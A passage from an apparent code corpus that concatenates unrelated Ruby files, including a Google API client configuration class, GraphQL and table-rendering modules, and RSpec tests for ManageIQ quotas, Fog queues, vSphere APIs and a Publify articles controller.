low-level controls. Certain parameters can also be # applied individually to specific RPCs. See # {::Google::Longrunning::Operations::Client::Configuration::Rpcs} # for a list of RPCs that can be configured independently. # # Configuration can be applied globally to all clients, or to a single client # on construction. # # # Examples # # To modify the global config, setting the timeout for list_operations # to 20 seconds, and all remaining timeouts to 10 seconds: # # ::Google::Longrunning::Operations::Client.configure do |config| # config.timeout = 10.0 # config.rpcs.list_operations.timeout = 20.0 # end # # To apply the above configuration only to a new client: # # client = ::Google::Longrunning::Operations::Client.new do |config| # config.timeout = 10.0 # config.rpcs.list_operations.timeout = 20.0 # end # # @!attribute [rw] endpoint # The hostname or hostname:port of the service endpoint. # Defaults to `"redis.googleapis.com"`. # @return [::String] # @!attribute [rw] credentials # Credentials to send with calls. You may provide any of the following types: # * (`String`) The path to a service account key file in JSON format # * (`Hash`) A service account key as a Hash # * (`Google::Auth::Credentials`) A googleauth credentials object # (see the [googleauth docs](https://googleapis.dev/ruby/googleauth/latest/index.html)) # * (`Signet::OAuth2::Client`) A signet oauth2 client object # (see the [signet docs](https://googleapis.dev/ruby/signet/latest/Signet/OAuth2/Client.html)) # * (`GRPC::Core::Channel`) a gRPC channel with included credentials # * (`GRPC::Core::ChannelCredentials`) a gRPC credentails object # * (`nil`) indicating no credentials # @return [::Object] # @!attribute [rw] scope # The OAuth scopes # @return [::Array<::String>] # @!attribute [rw] lib_name # The library name as recorded in instrumentation and logging # @return [::String] # @!attribute [rw] lib_version # The library version as recorded in instrumentation and logging # @return [::String] # @!attribute [rw] channel_args # Extra parameters passed to the gRPC channel. Note: this is ignored if a # `GRPC::Core::Channel` object is provided as the credential. # @return [::Hash] # @!attribute [rw] interceptors # An array of interceptors that are run before calls are executed. # @return [::Array<::GRPC::ClientInterceptor>] # @!attribute [rw] timeout # The call timeout in seconds. # @return [::Numeric] # @!attribute [rw] metadata # Additional gRPC headers to be sent with the call. # @return [::Hash{::Symbol=>::String}] # @!attribute [rw] retry_policy # The retry policy. The value is a hash with the following keys: # * `:initial_delay` (*type:* `Numeric`) - The initial delay in seconds. # * `:max_delay` (*type:* `Numeric`) - The max delay in seconds. # * `:multiplier` (*type:* `Numeric`) - The incremental backoff multiplier. # * `:retry_codes` (*type:* `Array<String>`) - The error codes that should # trigger a retry. # @return [::Hash] # @!attribute [rw] quota_project # A separate project against which to charge quota. # @return [::String] # class Configuration extend ::Gapic::Config config_attr :endpoint, "redis.googleapis.com", ::String config_attr :credentials, nil do |value| allowed = [::String, ::Hash, ::Proc, ::Symbol, ::Google::Auth::Credentials, ::Signet::OAuth2::Client, nil] allowed += [::GRPC::Core::Channel, ::GRPC::Core::ChannelCredentials] if defined? ::GRPC allowed.any? { |klass| klass === value } end config_attr :scope, nil, ::String, ::Array, nil config_attr :lib_name, nil, ::String, nil config_attr :lib_version, nil, ::String, nil config_attr(:channel_args, { "grpc.service_config_disable_resolution"=>1 }, ::Hash, nil) config_attr :interceptors, nil, ::Array, nil config_attr :timeout, nil, ::Numeric, nil config_attr :metadata, nil, ::Hash, nil config_attr :retry_policy, nil, ::Hash, ::Proc, nil config_attr :quota_project, nil, ::String, nil # @private def initialize parent_config = nil @parent_config = parent_config unless parent_config.nil? yield self if block_given? end ## # Configurations for individual RPCs # @return [Rpcs] # def rpcs @rpcs ||= begin parent_rpcs = nil parent_rpcs = @parent_config.rpcs if defined?(@parent_config) && @parent_config&.respond_to?(:rpcs) Rpcs.new parent_rpcs end end ## # Configuration RPC class for the Operations API. # # Includes fields providing the configuration for each RPC in this service. # Each configuration object is of type `Gapic::Config::Method` and includes # the following configuration fields: # # * `timeout` (*type:* `Numeric`) - The call timeout in seconds # * `metadata` (*type:* `Hash{Symbol=>String}`) - Additional gRPC headers # * `retry_policy (*type:* `Hash`) - The retry policy. The policy fields # include the following keys: # * `:initial_delay` (*type:* `Numeric`) - The initial delay in seconds. # * `:max_delay` (*type:* `Numeric`) - The max delay in seconds. # * `:multiplier` (*type:* `Numeric`) - The incremental backoff multiplier. # * `:retry_codes` (*type:* `Array<String>`) - The error codes that should # trigger a retry. # class Rpcs ## # RPC-specific configuration for `list_operations` # @return [::Gapic::Config::Method] # attr_reader :list_operations ## # RPC-specific configuration for `get_operation` # @return [::Gapic::Config::Method] # attr_reader :get_operation ## # RPC-specific configuration for `delete_operation` # @return [::Gapic::Config::Method] # attr_reader :delete_operation ## # RPC-specific configuration for `cancel_operation` # @return [::Gapic::Config::Method] # attr_reader :cancel_operation ## # RPC-specific configuration for `wait_operation` # @return [::Gapic::Config::Method] # attr_reader :wait_operation # @private def initialize parent_rpcs = nil list_operations_config = parent_rpcs&.list_operations if parent_rpcs&.respond_to? :list_operations @list_operations = ::Gapic::Config::Method.new list_operations_config get_operation_config = parent_rpcs&.get_operation if parent_rpcs&.respond_to? :get_operation @get_operation = ::Gapic::Config::Method.new get_operation_config delete_operation_config = parent_rpcs&.delete_operation if parent_rpcs&.respond_to? :delete_operation @delete_operation = ::Gapic::Config::Method.new delete_operation_config cancel_operation_config = parent_rpcs&.cancel_operation if parent_rpcs&.respond_to? :cancel_operation @cancel_operation = ::Gapic::Config::Method.new cancel_operation_config wait_operation_config = parent_rpcs&.wait_operation if parent_rpcs&.respond_to? :wait_operation @wait_operation = ::Gapic::Config::Method.new wait_operation_config yield self if block_given? end end end end end end end end end
52.117378
166
0.573927
381f8acc0a27fe6db2c8769c2e0c036699ac684d
1,016
# frozen_string_literal: true module GraphQL class Client module Schema module BaseType # Public: Get associated GraphQL::BaseType with for this class. attr_reader :type # Internal: Get owner schema Module container. attr_accessor :schema_module # Internal: Cast JSON value to wrapped value. # # value - JSON value # errors - Errors instance # # Returns BaseType instance. def cast(value, errors) raise NotImplementedError, "subclasses must implement #cast(value, errors)" end # Internal: Get non-nullable wrapper of this type class. # # Returns NonNullType instance. def to_non_null_type @null_type ||= NonNullType.new(self) end # Internal: Get list wrapper of this type class. # # Returns ListType instance. def to_list_type @list_type ||= ListType.new(self) end end end end end
25.4
85
0.601378
0138aeecfb6bb3a702af1a53662f1ad6d715a810
32
APPLICATION_NAME = 'M-Explorer'
16
31
0.78125
bf0019e07998f939cd68e16c17a05f8f7fd069c1
7,438
module QuotaHelper def create_category_and_tag(category, tag) cat = Classification.find_by_name(category) cat = Classification.create_category!(:name => category, :single_value => false, :description => category) unless cat cat.add_entry(:description => tag, :read_only => "0", :syntax => "string", :name => tag, :example_text => nil, :default => true, :single_value => "0") if cat end def setup_tags test_values = {:storage => "1024", :vms => "2", :cpu => "2", :memory => "1024"} test_values.each do |k, v| max_cat = "quota_max_#{k}" max_tag = (v.to_i * 2).to_s create_category_and_tag(max_cat, max_tag) @miq_group.tag_add(max_tag, :ns => "/managed", :cat => max_cat) warn_cat = "quota_warn_#{k}" warn_tag = v.to_s create_category_and_tag(warn_cat, warn_tag) end end def create_hardware @ram_size = 1024 @disk_size = 1_000_000 @num_cpu = 0 @hw1 = FactoryGirl.create(:hardware, :cpu_sockets => @num_cpu, :memory_mb => @ram_size) @hw2 = FactoryGirl.create(:hardware, :cpu_sockets => @num_cpu, :memory_mb => @ram_size) @hw3 = FactoryGirl.create(:hardware, :cpu_sockets => @num_cpu, :memory_mb => @ram_size) @hw4 = FactoryGirl.create(:hardware, :cpu_sockets => @num_cpu, :memory_mb => @ram_size) create_disks end def create_disks @disk1 = FactoryGirl.create(:disk, :device_type => "disk", :size => @disk_size, :hardware_id => @hw1.id) @disk2 = FactoryGirl.create(:disk, :device_type => "disk", :size => @disk_size, :hardware_id => @hw2.id) @disk3 = FactoryGirl.create(:disk, :device_type => "disk", :size => @disk_size, :hardware_id => @hw3.id) @disk3 = FactoryGirl.create(:disk, :device_type => "disk", :size => @disk_size, :hardware_id => @hw4.id) end def create_tenant_quota @tenant.tenant_quotas.create(:name => :mem_allocated, :value => 2048) @tenant.tenant_quotas.create(:name => :vms_allocated, :value => 4) @tenant.tenant_quotas.create(:name => :storage_allocated, :value => 4096) @tenant.tenant_quotas.create(:name => :cpu_allocated, :value => 2) @tenant.tenant_quotas.create(:name => :templates_allocated, :value => 4) end def create_vmware_vms @active_vm = FactoryGirl.create(:vm_vmware, :miq_group_id => @miq_group.id, :ems_id => @ems.id, :storage_id => @storage.id, :hardware => @hw1, :tenant => @tenant) @archived_vm = FactoryGirl.create(:vm_vmware, :miq_group_id => @miq_group.id, :hardware => @hw2) @orphaned_vm = FactoryGirl.create(:vm_vmware, :miq_group_id => @miq_group.id, :storage_id => @storage.id, :hardware => @hw3) @retired_vm = FactoryGirl.create(:vm_vmware, :miq_group_id => @miq_group.id, :retired => true, :hardware => @hw4) end def create_google_vms @active_vm = FactoryGirl.create(:vm_google, :miq_group_id => @miq_group.id, :ext_management_system => @ems, :tenant => @tenant) @archived_vm = FactoryGirl.create(:vm_google, :miq_group_id => @miq_group.id, :tenant => @tenant) @orphaned_vm = FactoryGirl.create(:vm_google, :miq_group_id => @miq_group.id, :tenant => @tenant) @retired_vm = FactoryGirl.create(:vm_google, :miq_group_id => @miq_group.id, :retired => true, :tenant => @tenant) end def create_request(prov_options) @miq_provision_request = FactoryGirl.create(:miq_provision_request, :requester => @user, :src_vm_id => @vm_template.id, :options => prov_options) @miq_request = @miq_provision_request end def vmware_requested_quota_values {:number_of_vms => 1, :owner_email => '[email protected]', :vm_memory => [1024, '1024'], :number_of_sockets => [2, '2'], :cores_per_socket => [2, '2']} end def vmware_model @ems = FactoryGirl.create(:ems_vmware) @vm_template = FactoryGirl.create(:template_vmware, :hardware => FactoryGirl.create(:hardware, :cpu1x2, :memory_mb => 512)) @storage = FactoryGirl.create(:storage_nfs) create_request(vmware_requested_quota_values) create_hardware create_vmware_vms end def google_model ems = FactoryGirl.create(:ems_google_with_authentication, :availability_zones => [FactoryGirl.create(:availability_zone_google)]) @vm_template = FactoryGirl.create(:template_google, :ext_management_system => ems) m2_small_flavor = FactoryGirl.create(:flavor_google, :ems_id => ems.id, :cloud_subnet_required => false, :cpus => 4, :cpu_cores => 1, :memory => 1024) create_request(:number_of_vms => 1, :owner_email => '[email protected]', :src_vm_id => @vm_template.id, :boot_disk_size => ["10.GB", "10 GB"], :placement_auto => [true, 1], :instance_type => [m2_small_flavor.id, m2_small_flavor.name]) create_google_vms end def build_generic_service_item @service_template = FactoryGirl.create(:service_template, :name => 'generic', :service_type => 'atomic', :prov_type => 'generic') @service_request = build_service_template_request("generic", @user, :dialog => {"test" => "dialog"}) end def build_vmware_service_item options = {:src_vm_id => @vm_template.id, :requester => @user}.merge(vmware_requested_quota_values) model = {"vmware_service_item" => {:type => 'atomic', :prov_type => 'vmware', :request => options} } build_service_template_tree(model) @service_request = build_service_template_request("vmware_service_item", @user, :dialog => {"test" => "dialog"}) end def setup_model(vendor = "vmware") @user = FactoryGirl.create(:user_with_group) @miq_group = @user.current_group @tenant = @miq_group.tenant create_tenant_quota send("#{vendor}_model") unless vendor == 'generic' end end
46.779874
116
0.518688
21ca907296312e16be5276e53e593fb603c8b097
939
Shindo.tests('Fog::Rackspace::Queues | claim', ['rackspace']) do service = Fog::Rackspace::Queues.new queue = service.queues.create({ :name => "fog_queue_#{Time.now.to_i.to_s}", }) queue.messages.create({ :ttl => VALID_TTL, :body => { :random => :body } }) params = { :ttl => VALID_TTL, :grace => VALID_GRACE } begin model_tests(queue.claims, params) do tests('#messages') do returns(1) { @instance.messages.length } returns('body') { @instance.messages.first.body['random'] } end tests('#update').succeeds do @instance.ttl = VALID_TTL + 5 @instance.save end end queue.messages.create({ :ttl => VALID_TTL, :body => { :random => :body } }) tests('destroying claimed messages').succeeds do claim = queue.claims.create(params) claim.messages.first.destroy end ensure queue.destroy end end
22.357143
67
0.591054
6afe98dd4d3039f3e8918eb79fd1a0737717f2d1
397
# frozen_string_literal: true require "bundler/setup" require "prependers" RSpec.configure do |config| # Enable flags like --only-failures and --next-failure config.example_status_persistence_file_path = ".rspec_status" # Disable RSpec exposing methods globally on `Module` and `main` config.disable_monkey_patching! config.expect_with :rspec do |c| c.syntax = :expect end end
23.352941
66
0.758186
26c0c06fa1375bc297c396dc3afeaabb12c0e3da
3,013
# Copyright (c) 2018-2019 VMware, Inc. All Rights Reserved. # SPDX-License-Identifier: MIT # DO NOT MODIFY. THIS CODE IS GENERATED. CHANGES WILL BE OVERWRITTEN. # vcenter - VMware vCenter Server provides a centralized platform for managing your VMware vSphere environments require 'spec_helper' require 'json' # Unit tests for VSphereAutomation::VCenter::VmTemplateLibraryItemsApi # Automatically generated by openapi-generator (https://openapi-generator.tech) # Please update as you see appropriate describe 'VmTemplateLibraryItemsApi' do before do # run before each test @instance = VSphereAutomation::VCenter::VmTemplateLibraryItemsApi.new end after do # run after each test end describe 'test an instance of VmTemplateLibraryItemsApi' do it 'should create an instance of VmTemplateLibraryItemsApi' do expect(@instance).to be_instance_of(VSphereAutomation::VCenter::VmTemplateLibraryItemsApi) end end # unit tests for create # Creates a library item in content library from a virtual machine. This {@term operation} creates a library item in content library whose content is a virtual machine template created from the source virtual machine, using the supplied create specification. The virtual machine template is stored in a newly created library item. # @param request_body # @param [Hash] opts the optional parameters # @return [VcenterVmTemplateLibraryItemsCreateResult] describe 'create test' do it 'should work' do # assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers end end # unit tests for deploy # Deploys a virtual machine as a copy of the source virtual machine template contained in the library item specified by {@param.name templateLibraryItem}. It uses the deployment specification in {@param.name spec}. If {@link DeploySpec#poweredOn} and/or {@link DeploySpec#guestCustomization} are specified, the server triggers the power on and/or guest customization operations, which are executed asynchronously. # @param template_library_item identifier of the content library item containing the source virtual machine template to be deployed. # @param request_body # @param [Hash] opts the optional parameters # @return [VcenterVmTemplateLibraryItemsDeployResult] describe 'deploy test' do it 'should work' do # assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers end end # unit tests for get # Returns information about a virtual machine template contained in the library item specified by {@param.name templateLibraryItem} # @param template_library_item identifier of the library item containing the virtual machine template. # @param [Hash] opts the optional parameters # @return [VcenterVmTemplateLibraryItemsResult] describe 'get test' do it 'should work' do # assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers end end end
45.651515
415
0.773316
ab26a1a63e2f2af56b58be85c79513fda53bb1fd
233
require 'mkmf' extension_name = 'uel' dir_config(extension_name) find_header('ruby.h') find_header('endian.h') find_header('stdlib.h') if have_library('z') have_header('zlib.h') end create_header create_makefile(extension_name)
15.533333
31
0.772532
8737ced397ebc1159e62ccd3a4d2b914d26f49a2
2,120
module RTables module Table class UnicodeMonoTableAlt < TableBuilder CORNER_POS_LTOP = '┌' CORNER_POS_RTOP = '┐' CORNER_POS_MTOP = '┬' CORNER_POS_LMID = '├' CORNER_POS_RMID = '┤' CORNER_POS_MMID = '┼' CORNER_POS_LBOT = '└' CORNER_POS_RBOT = '┘' CORNER_POS_MBOT = '┴' def render line_horizontal = '─' line_vertical = '│' if @table_header.length > 4 column_size = 160 / @table_header.length else column_size = 70 - (@table_header.length * 10) end row_sep_base = "#{(line_horizontal * (column_size - 2))}%{tchar}" * (@table_header.length) # This needs to be smaller because without, we get one character added too many. row_sep_base_small = row_sep_base[0..row_sep_base.length - 9] row_sep_top = "#{CORNER_POS_LTOP}#{row_sep_base_small % { tchar: CORNER_POS_MTOP }}#{CORNER_POS_RTOP}" row_sep_mid = "#{CORNER_POS_LMID}#{row_sep_base_small % { tchar: CORNER_POS_MMID }}#{CORNER_POS_RMID}" row_sep_bot = "#{CORNER_POS_LBOT}#{row_sep_base_small % { tchar: CORNER_POS_MBOT }}#{CORNER_POS_RBOT}" item_fmt = "#{line_vertical} %s" table = [] table << row_sep_top item = '' @table_header.each do |col| item << pad(item_fmt % col, column_size - 3) end item << line_vertical table << item table << row_sep_mid @table_content.each do |contents| item = '' contents.each do |col| item << pad(item_fmt % col, column_size - 3) end item << line_vertical table << item end table << row_sep_bot table end def truncuate(s, len = 32, append = '..') trunc_len = len - append.length - 1 return "#{s[0..trunc_len]}#{append}" if s.length > len s end def pad(s, len = 32, append = '..') s = truncuate(s, len, append) return s if s.length > len s << (' ' * (len - (s.length - 2))) end end end end
26.835443
110
0.558019
1cfeb5f34a0ef42c2842ad7896134e000f64f66f
21,964
# coding: utf-8 require 'rails_helper' describe ArticlesController, 'base', type: :controller do let!(:blog) { create(:blog) } let!(:user) { create :user } describe 'tag' do before(:each) { get :tag } it { expect(response).to redirect_to(tags_path) } end describe 'index' do let!(:article) { create(:article) } before(:each) { get :index } it { expect(response).to render_template(:index) } it { expect(assigns[:articles]).to_not be_empty } context 'with the view rendered' do render_views it 'should have good link feed rss' do expect(response.body).to have_selector('head>link[href="http://test.host/articles.rss"]', visible: false) end it 'should have good link feed atom' do expect(response.body).to have_selector('head>link[href="http://test.host/articles.atom"]', visible: false) end it 'should have a canonical url' do expect(response.body).to have_selector("head>link[href='#{blog.base_url}/']", visible: false) end it 'should have good title' do expect(response.body).to have_selector('title', text: 'test blog | test subtitles', visible: false) end end end describe '#search action' do before(:each) do create(:article, body: "in markdown format\n\n * we\n * use\n [ok](http://blog.ok.com) to define a link", text_filter: create(:markdown)) create(:article, body: 'xyz') end describe 'a valid search' do before(:each) { get :search, params: { q: 'a' } } it { expect(response).to render_template(:search) } it { expect(assigns[:articles]).to_not be_nil } context 'with the view rendered' do render_views it 'should have good feed rss link' do expect(response.body).to have_selector('head>link[href="http://test.host/search/a.rss"]', visible: false) end it 'should have good feed atom link' do expect(response.body).to have_selector('head>link[href="http://test.host/search/a.atom"]', visible: false) end it 'should have a canonical url' do expect(response.body).to have_selector("head>link[href='#{blog.base_url}/search/a']", visible: false) end it 'should have a good title' do expect(response.body).to have_selector('title', text: 'Results for a | test blog', visible: false) end it 'should have content markdown interpret and without html tag' do expect(response.body).to have_selector('div') do |div| expect(div).to match(%{in markdown format * we * use [ok](http://blog.ok.com) to define a link}) end end end end it 'should render feed rss by search' do get 'search', params: { q: 'a', format: 'rss' } expect(response).to be_success expect(response).to render_template('index_rss_feed', layout: false) end it 'should render feed atom by search' do get 'search', params: { q: 'a', format: 'atom' } expect(response).to be_success expect(response).to render_template('index_atom_feed', layout: false) end it 'search with empty result' do get 'search', params: { q: 'abcdefghijklmnopqrstuvwxyz' } expect(response).to render_template('articles/error', layout: false) end end describe '#livesearch action' do describe 'with a query with several words' do before(:each) do create(:article, body: 'hello world and im herer') create(:article, title: 'hello', body: 'worldwide') create(:article) get :live_search, params: { q: 'hello world' } end it 'should be valid' do expect(assigns(:articles).size).to eq(2) end it 'should render without layout' do expect(response).to render_template(layout: nil) end it 'should render template live_search' do expect(response).to render_template('live_search') end context 'with the view rendered' do render_views it 'should not have h3 tag' do expect(response.body).to have_selector('h3') end end it 'should assign @search the search string' do expect(assigns[:search]).to be_equal(controller.params[:q]) end end end describe '#archives' do render_views it 'renders correctly for an archive with several articles' do articles = create_list :article, 3 get 'archives' expect(response).to render_template(:archives) expect(assigns[:articles]).to match_array articles expect(response.body).to have_selector("head>link[href='#{blog.base_url}/archives']", visible: false) expect(response.body).to have_selector('title', text: 'Archives for test blog', visible: false) end it 'renders correctly for an archive with an article with tags' do create :article, keywords: 'foo, bar' get 'archives' expect(response.body).to have_text 'foo' expect(response.body).to have_text 'bar' end end describe 'index for a month' do before(:each) do create(:article, published_at: Time.utc(2004, 4, 23)) get 'index', params: { year: 2004, month: 4 } end it 'should render template index' do expect(response).to render_template(:index) end it 'should contain some articles' do expect(assigns[:articles]).not_to be_nil expect(assigns[:articles]).not_to be_empty end context 'with the view rendered' do render_views it 'should have a canonical url' do expect(response.body).to have_selector("head>link[href='#{blog.base_url}/2004/4']", visible: false) end it 'should have a good title' do expect(response.body).to have_selector('title', text: 'Archives for test blog', visible: false) end end end end describe ArticlesController, 'nosettings', type: :controller do let!(:blog) { create(:blog, settings: {}) } it 'redirects to setup' do get 'index' expect(response).to redirect_to(controller: 'setup', action: 'index') end end describe ArticlesController, 'nousers', type: :controller do let!(:blog) { create(:blog) } it 'redirects to signup' do get 'index' expect(response).to redirect_to new_user_registration_path end end describe ArticlesController, 'feeds', type: :controller do let!(:blog) { create(:blog) } let!(:article1) { create(:article, created_at: Time.now - 1.day) } let!(:article2) { create(:article, published_at: '2004-04-01 12:00:00') } let(:trackback) { create(:trackback, article: article1, published_at: Time.now - 1.day, published: true) } specify '/articles.atom => an atom feed' do get 'index', params: { format: 'atom' } expect(response).to be_success expect(response).to render_template('index_atom_feed', layout: false) expect(assigns(:articles)).to eq([article1, article2]) end specify '/articles.rss => an RSS 2.0 feed' do get 'index', params: { format: 'rss' } expect(response).to be_success expect(response).to render_template('index_rss_feed', layout: false) expect(assigns(:articles)).to eq([article1, article2]) end specify 'atom feed for archive should be valid' do get 'index', params: { year: 2004, month: 4, format: 'atom' } expect(response).to render_template('index_atom_feed', layout: false) expect(assigns(:articles)).to eq([article2]) end specify 'RSS feed for archive should be valid' do get 'index', params: { year: 2004, month: 4, format: 'rss' } expect(response).to render_template('index_rss_feed', layout: false) expect(assigns(:articles)).to eq([article2]) end end describe ArticlesController, 'the index', type: :controller do let!(:blog) { create(:blog) } before(:each) do create(:user, :as_admin) create(:article) end it 'should ignore the HTTP Accept: header' do request.env['HTTP_ACCEPT'] = 'application/atom+xml' get 'index' expect(response).to render_template('index') end end describe ArticlesController, 'previewing', type: :controller do let!(:blog) { create(:blog) } describe 'with non logged user' do before :each do get :preview, params: { id: create(:article).id } end it 'should redirect to login' do expect(response).to redirect_to new_user_session_path end end describe 'with logged user' do let(:admin) { create(:user, :as_admin) } let(:article) { create(:article, user: admin) } before do sign_in admin end describe 'theme rendering' do render_views with_each_theme do |theme, view_path| it "should render template #{view_path}/articles/read" do blog.theme = theme blog.save! get :preview, params: { id: article.id } expect(response).to render_template('articles/read') end end end it 'should assigns article define with id' do get :preview, params: { id: article.id } expect(assigns[:article]).to eq(article) end it 'should assigns last article with id like parent_id' do draft = create(:article, parent_id: article.id) get :preview, params: { id: article.id } expect(assigns[:article]).to eq(draft) end end end describe ArticlesController, 'redirecting', type: :controller do describe 'with explicit redirects' do describe 'with empty relative_url_root' do it 'should redirect from known URL' do create(:blog, base_url: 'http://test.host') create(:user) create(:redirect) get :redirect, params: { from: 'foo/bar' } expect(response).to redirect_to('http://test.host/someplace/else') end it 'should not redirect from unknown URL' do create(:blog, base_url: 'http://test.host') create(:user) create(:redirect) expect { get :redirect, params: { from: 'something/that/isnt/there' } }. to raise_error ActiveRecord::RecordNotFound end end # FIXME: Due to the changes in Rails 3 (no relative_url_root), this # does not work anymore when the accessed URL does not match the blog's # base_url at least partly. Do we still want to allow acces to the blog # through non-standard URLs? What was the original purpose of these # redirects? describe 'and non-empty relative_url_root' do before do create(:blog, base_url: 'http://test.host/blog') create(:user) end it 'should redirect' do create(:redirect, from_path: 'foo/bar', to_path: '/someplace/else') get :redirect, params: { from: 'foo/bar' } assert_response 301 expect(response).to redirect_to('http://test.host/blog/someplace/else') end it 'should redirect if to_path includes relative_url_root' do create(:redirect, from_path: 'bar/foo', to_path: '/blog/someplace/else') get :redirect, params: { from: 'bar/foo' } assert_response 301 expect(response).to redirect_to('http://test.host/blog/someplace/else') end it 'should ignore the blog base_url if the to_path is a full uri' do create(:redirect, from_path: 'foo', to_path: 'http://some.where/else') get :redirect, params: { from: 'foo' } assert_response 301 expect(response).to redirect_to('http://some.where/else') end end end it 'should get good article with utf8 slug' do build_stubbed(:blog) utf8article = create(:utf8article, permalink: 'ルビー', published_at: Time.utc(2004, 6, 2)) get :redirect, params: { from: '2004/06/02/ルビー' } expect(assigns(:article)).to eq(utf8article) end # NOTE: This is needed because Rails over-unescapes glob parameters. it 'should get good article with pre-escaped utf8 slug using unescaped slug' do build_stubbed(:blog) utf8article = create(:utf8article, permalink: '%E3%83%AB%E3%83%93%E3%83%BC', published_at: Time.utc(2004, 6, 2)) get :redirect, params: { from: '2004/06/02/ルビー' } expect(assigns(:article)).to eq(utf8article) end describe 'accessing old-style URL with "articles" as the first part' do it 'should redirect to article without url_root' do create(:blog, base_url: 'http://test.host') article = create(:article, permalink: 'second-blog-article', published_at: Time.utc(2004, 4, 1)) get :redirect, params: { from: 'articles/2004/04/01/second-blog-article' } assert_response 301 expect(response).to redirect_to article.permalink_url end it 'should redirect to article with url_root' do create(:blog, base_url: 'http://test.host/blog') create(:article, permalink: 'second-blog-article', published_at: Time.utc(2004, 4, 1)) get :redirect, params: { from: 'articles/2004/04/01/second-blog-article' } assert_response 301 expect(response).to redirect_to('http://test.host/blog/2004/04/01/second-blog-article') end it 'should redirect to article with articles in url_root' do create(:blog, base_url: 'http://test.host/aaa/articles/bbb') create(:article, permalink: 'second-blog-article', published_at: Time.utc(2004, 4, 1)) get :redirect, params: { from: 'articles/2004/04/01/second-blog-article' } assert_response 301 expect(response).to redirect_to('http://test.host/aaa/articles/bbb/2004/04/01/second-blog-article') end it 'should not redirect to an article from another blog' end describe 'with permalink_format like %title%.html' do let!(:blog) { create(:blog, permalink_format: '/%title%.html') } let!(:admin) { create(:user, :as_admin) } before do sign_in admin end context 'with an article' do let!(:article) { create(:article, permalink: 'second-blog-article', published_at: Time.utc(2004, 4, 1)) } context 'try redirect to an unknown location' do it 'raises RecordNotFound' do expect { get :redirect, params: { from: "#{article.permalink}/foo/bar" } }. to raise_error ActiveRecord::RecordNotFound end end describe 'accessing legacy URLs' do it 'should redirect from default URL format' do get :redirect, params: { from: '2004/04/01/second-blog-article' } expect(response).to redirect_to article.permalink_url end it 'should redirect from old-style URL format with "articles" part' do get :redirect, params: { from: 'articles/2004/04/01/second-blog-article' } expect(response).to redirect_to article.permalink_url end end end describe 'accessing an article' do let!(:article) { create(:article, permalink: 'second-blog-article', published_at: Time.utc(2004, 4, 1)) } before(:each) do get :redirect, params: { from: "#{article.permalink}.html" } end it 'should render template read to article' do expect(response).to render_template('articles/read') end it 'should assign article1 to @article' do expect(assigns(:article)).to eq(article) end describe 'the resulting page' do render_views it 'should have good rss feed link' do expect(response.body).to have_selector("head>link[href=\"#{blog.base_url}/#{article.permalink}.html.rss\"]", visible: false) end it 'should have good atom feed link' do expect(response.body).to have_selector("head>link[href=\"#{blog.base_url}/#{article.permalink}.html.atom\"]", visible: false) end it 'should have a canonical url' do expect(response.body).to have_selector("head>link[href='#{blog.base_url}/#{article.permalink}.html']", visible: false) end it 'should have a good title' do expect(response.body).to have_selector('title', text: 'A big article | test blog', visible: false) end end end # TODO: Move out of permalink config context describe 'theme rendering' do render_views let!(:article) { create(:article, permalink: 'second-blog-article', published_at: Time.utc(2004, 4, 1)) } with_each_theme do |theme, _view_path| context "for theme #{theme}" do before do blog.theme = theme blog.save! end it 'renders without errors when no comments or trackbacks are present' do get :redirect, params: { from: "#{article.permalink}.html" } expect(response).to be_success end it 'renders without errors when recaptcha is enabled' do Recaptcha.configure do |config| config.site_key = 'YourAPIkeysHere_yyyyyyyyyyyyyyyyy' config.secret_key = 'YourAPIkeysHere_xxxxxxxxxxxxxxxxx' end blog.use_recaptcha = true blog.save! get :redirect, params: { from: "#{article.permalink}.html" } expect(response).to be_success end it 'renders without errors when comments and trackbacks are present' do create :trackback, article: article create :comment, article: article get :redirect, params: { from: "#{article.permalink}.html" } expect(response).to be_success end end end end describe 'rendering as atom feed' do let!(:article) { create(:article, permalink: 'second-blog-article', published_at: Time.utc(2004, 4, 1)) } let!(:trackback1) { create(:trackback, article: article, published_at: Time.now - 1.day, published: true) } before(:each) do get :redirect, params: { from: "#{article.permalink}.html.atom" } end it 'should render feedback atom feed' do expect(assigns(:feedback)).to eq([trackback1]) expect(response).to render_template('feedback_atom_feed', layout: false) end end describe 'rendering as rss feed' do let!(:article) { create(:article, permalink: 'second-blog-article', published_at: Time.utc(2004, 4, 1)) } let!(:trackback1) { create(:trackback, article: article, published_at: Time.now - 1.day, published: true) } before(:each) do get :redirect, params: { from: "#{article.permalink}.html.rss" } end it 'should render rss20 partial' do expect(assigns(:feedback)).to eq([trackback1]) expect(response).to render_template('feedback_rss_feed', layout: false) end end end describe 'with a format containing a fixed component' do let!(:blog) { create(:blog, permalink_format: '/foo/%title%') } let!(:article) { create(:article) } it 'should find the article if the url matches all components' do get :redirect, params: { from: "foo/#{article.permalink}" } expect(response).to be_success end it 'should not find the article if the url does not match the fixed component' do expect { get :redirect, params: { from: "bar/#{article.permalink}" } }. to raise_error ActiveRecord::RecordNotFound end end end describe ArticlesController, 'password protected', type: :controller do render_views let!(:blog) { create(:blog, permalink_format: '/%title%.html') } let!(:article) { create(:article, password: 'password') } it 'article alone should be password protected' do get :redirect, params: { from: "#{article.permalink}.html" } expect(response.body).to have_selector('input[id="article_password"]', count: 1) end describe '#check_password' do it 'shows article when given correct password' do get :check_password, xhr: true, params: { article: { id: article.id, password: article.password } } expect(response.body).not_to have_selector('input[id="article_password"]') end it 'shows password form when given incorrect password' do get :check_password, xhr: true, params: { article: { id: article.id, password: 'wrong password' } } expect(response.body).to have_selector('input[id="article_password"]') end end end describe ArticlesController, 'assigned keywords', type: :controller do before(:each) { create :user } context 'with default blog' do let!(:blog) { create(:blog) } it 'index without option and no blog keywords should not have meta keywords' do get 'index' expect(assigns(:keywords)).to eq('') end end context "with blog meta keywords to 'publify, is, amazing'" do let!(:blog) { create(:blog, meta_keywords: 'publify, is, amazing') } it 'index without option but with blog keywords should have meta keywords' do get 'index' expect(assigns(:keywords)).to eq('publify, is, amazing') end end context 'with blog permalin to /%title%.html' do let!(:blog) { create(:blog, permalink_format: '/%title%.html') } it 'article without tags should not have meta keywords' do article = create(:article) get :redirect, params: { from: "#{article.permalink}.html" } expect(assigns(:keywords)).to eq('') end end end describe ArticlesController, 'preview page', type: :controller do let!(:blog) { create(:blog) } describe 'with non logged user' do before :each do get :preview_page, params: { id: create(:article).id } end 